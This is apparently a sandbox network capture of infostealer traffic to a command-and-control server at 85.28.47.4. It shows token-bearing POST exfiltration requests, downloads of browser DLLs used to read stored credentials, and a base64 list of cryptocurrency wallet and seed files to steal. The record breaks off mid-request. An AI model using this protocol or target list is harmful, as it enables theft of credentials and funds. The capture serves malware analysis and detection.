Jul 3, 2024 23:58:57.812099934 CEST	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Jul 3, 2024 23:58:57.812510967 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 3, 2024 23:58:59.031327009 CEST	198	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBKKKKKFBGDGDHIDBGH Host: 85.28.47.4 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Jul 3, 2024 23:58:59.954977036 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:58:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 3, 2024 23:59:01.090049982 CEST	198	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIEHIIIJDAAAAAAKECBF Host: 85.28.47.4 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Jul 3, 2024 23:59:01.837100029 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:59:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 3, 2024 23:59:01.851404905 CEST	556	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDBAKKJKKECGDGCAECA Host: 85.28.47.4 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 35 66 62 64 63 35 64 30 31 64 33 34 63 34 32 36 34 34 36 64 38 39 31 39 64 37 37 63 35 63 34 66 38 30 35 66 36 34 64 35 33 31 33 65 36 62 38 37 37 61 33 35 34 38 62 32 36 31 38 35 37 66 37 37 62 35 38 64 38 66 39 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 [TRUNCATED] Data Ascii: ------DGDBAKKJKKECGDGCAECAContent-Disposition: form-data; name="token"75fbdc5d01d34c426446d8919d77c5c4f805f64d5313e6b877a3548b261857f77b58d8f9------DGDBAKKJKKECGDGCAECAContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------DGDBAKKJKKECGDGCAECAContent-Disposition: form-data; name="file"------DGDBAKKJKKECGDGCAECA--
Jul 3, 2024 23:59:02.587994099 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:59:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 3, 2024 23:59:02.945839882 CEST	556	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFIEHIEGDHIDGDGHDHJ Host: 85.28.47.4 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 35 66 62 64 63 35 64 30 31 64 33 34 63 34 32 36 34 34 36 64 38 39 31 39 64 37 37 63 35 63 34 66 38 30 35 66 36 34 64 35 33 31 33 65 36 62 38 37 37 61 33 35 34 38 62 32 36 31 38 35 37 66 37 37 62 35 38 64 38 66 39 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 [TRUNCATED] Data Ascii: ------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="token"75fbdc5d01d34c426446d8919d77c5c4f805f64d5313e6b877a3548b261857f77b58d8f9------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="file"------DAFIEHIEGDHIDGDGHDHJ--
Jul 3, 2024 23:59:03.676781893 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:59:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 3, 2024 23:59:05.079859018 CEST	89	OUT	GET /69934896f997d5bb/freebl3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 3, 2024 23:59:05.270078897 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:59:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Jul 3, 2024 23:59:05.927181959 CEST	89	OUT	GET /69934896f997d5bb/mozglue.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 3, 2024 23:59:06.110637903 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:59:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jul 3, 2024 23:59:06.524056911 CEST	90	OUT	GET /69934896f997d5bb/msvcp140.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 3, 2024 23:59:06.705964088 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:59:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Jul 3, 2024 23:59:07.023943901 CEST	86	OUT	GET /69934896f997d5bb/nss3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 3, 2024 23:59:07.206480026 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:59:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Jul 3, 2024 23:59:08.708573103 CEST	90	OUT	GET /69934896f997d5bb/softokn3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 3, 2024 23:59:08.890791893 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:59:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Jul 3, 2024 23:59:09.095534086 CEST	94	OUT	GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 3, 2024 23:59:09.280260086 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:59:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Jul 3, 2024 23:59:09.712299109 CEST	198	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFHCAEGCBFHJDGCBFHDA Host: 85.28.47.4 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Jul 3, 2024 23:59:10.442751884 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:59:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 3, 2024 23:59:10.501359940 CEST	464	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDHDGCBFBKECBFHCAF Host: 85.28.47.4 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 35 66 62 64 63 35 64 30 31 64 33 34 63 34 32 36 34 34 36 64 38 39 31 39 64 37 37 63 35 63 34 66 38 30 35 66 36 34 64 35 33 31 33 65 36 62 38 37 37 61 33 35 34 38 62 32 36 31 38 35 37 66 37 37 62 35 38 64 38 66 39 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 2d 2d 0d 0a Data Ascii: ------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="token"75fbdc5d01d34c426446d8919d77c5c4f805f64d5313e6b877a3548b261857f77b58d8f9------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="message"wallets------EGIDHDGCBFBKECBFHCAF--
Jul 3, 2024 23:59:10.688002110 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:59:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Jul 3, 2024 23:59:10.700546980 CEST	462	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGHCBGCBFHIIDHIJKFB Host: 85.28.47.4 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 35 66 62 64 63 35 64 30 31 64 33 34 63 34 32 36 34 34 36 64 38 39 31 39 64 37 37 63 35 63 34 66 38 30 35 66 36 34 64 35 33 31 33 65 36 62 38 37 37 61 33 35 34 38 62 32 36 31 38 35 37 66 37 37 62 35 38 64 38 66 39 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="token"75fbdc5d01d34c426446d8919d77c5c4f805f64d5313e6b877a3548b261857f77b58d8f9------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="message"files------ECGHCBGCBFHIIDHIJKFB--
Jul 3, 2024 23:59:10.904668093 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:59:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 3, 2024 23:59:11.237042904 CEST	560	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCBAEHCAEGDHJKFHJKF Host: 85.28.47.4 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 35 66 62 64 63 35 64 30 31 64 33 34 63 34 32 36 34 34 36 64 38 39 31 39 64 37 37 63 35 63 34 66 38 30 35 66 36 34 64 35 33 31 33 65 36 62 38 37 37 61 33 35 34 38 62 32 36 31 38 35 37 66 37 37 62 35 38 64 38 66 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 